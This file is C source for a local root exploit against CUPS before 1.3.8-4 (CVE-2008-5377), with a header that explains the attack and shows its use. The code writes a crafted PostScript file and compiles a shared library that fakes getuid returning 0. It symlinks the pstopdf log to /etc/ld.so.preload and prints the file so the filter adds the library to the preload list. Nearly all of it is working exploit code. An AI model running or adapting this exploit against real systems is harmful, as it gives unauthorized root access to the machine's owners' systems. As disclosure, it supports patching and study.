/*
 * cve-2008-5377.c
 *
 * CUPS < 1.3.8-4 pstopdf filter exploit
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 * 
 * Usage:
 *
 *   $ gcc cve-2008-5377.c -o cve-2008-5377.c
 *   $ ./cve-2008-5377
 *   $ id
 *   uid=0(root) gid=1000(vm) ...
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2008-5377
 *
 *   pstopdf in CUPS 1.3.8 allows local users to overwrite arbitrary files via
 *   a symlink attack on the /tmp/pstopdf.log temporary file.
 *
 * Operation:
 *
 *   The exploit creates and prints a malformed postscript document that will
 *   cause the CUPS pstopdf filter to write an error message out to its log 
 *   file that contains the string /tmp/getuid.so.  However, since we also 
 *   symlink the pstopdf log file /tmp/pstopdf.log to /etc/ld.so.preload, the 
 *   error message and malicious shared library path will be appended to the
 *   ld.so.preload file, allowing us to elevate privileges to root.
 *
 * Note:
 * 
 *   This exploit only works under the (rare) conditions that cupsd executes 
 *   external filters as a privileged user, a printer on the system uses the 
 *   pstopdf filter (e.g. the pdf.ppd PDF converter). Also, /etc/ld.so.preload
 *   must be world readable.
 */

#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>

int
main(void)
{
  int ret;
  FILE *fp;
  struct stat log;

  fp = fopen("/tmp/cve-2008-5377.ps", "w");
  if(!fp) {
    printf("error: cannot open /tmp/cve-2008-5377.ps\n");
    goto cleanup;
  }
  fprintf(fp, "%%!PS-Adobe-2.0 EPSF-2.0\n( /tmp/getuid.so ) CVE-2008-5377\n");
  fclose(fp);

  fp = fopen("/tmp/getuid.c", "w");
  if(!fp) {
    printf("error: cannot open /tmp/getuid.c\n");
    goto cleanup;
  }
  fprintf(fp, "int getuid(){return 0;}\n");
  fclose(fp);

  ret = system("cc -shared /tmp/getuid.c -o /tmp/getuid.so");
  if (WEXITSTATUS(ret) != 0) {
    printf("error: cannot compile /tmp/getuid.c\n");
    goto cleanup;
  }

  unlink("/tmp/pstopdf.log");
  ret = stat("/tmp/pstopdf.log", &log);
  if (ret != -1) {
    
    printf("error: /tmp/pstopdf.log already exists\n");
    goto cleanup;
  }

  ret = symlink("/etc/ld.so.preload", "/tmp/pstopdf.log");
  if (ret == -1) {
    printf("error: cannot symlink /tmp/pstopdf.log to /etc/ld.so.preload\n");
    goto cleanup;
  }

  ret = system("lp < /tmp/cve-2008-5377.ps");
  if (WEXITSTATUS(ret) != 0) {
    printf("error: could not print /tmp/cve-2008-5377.ps\n");
    goto cleanup;
  }

cleanup:
  unlink("/tmp/cve-2008-5377.ps");
  unlink("/tmp/getuid.c");
  return 0;
}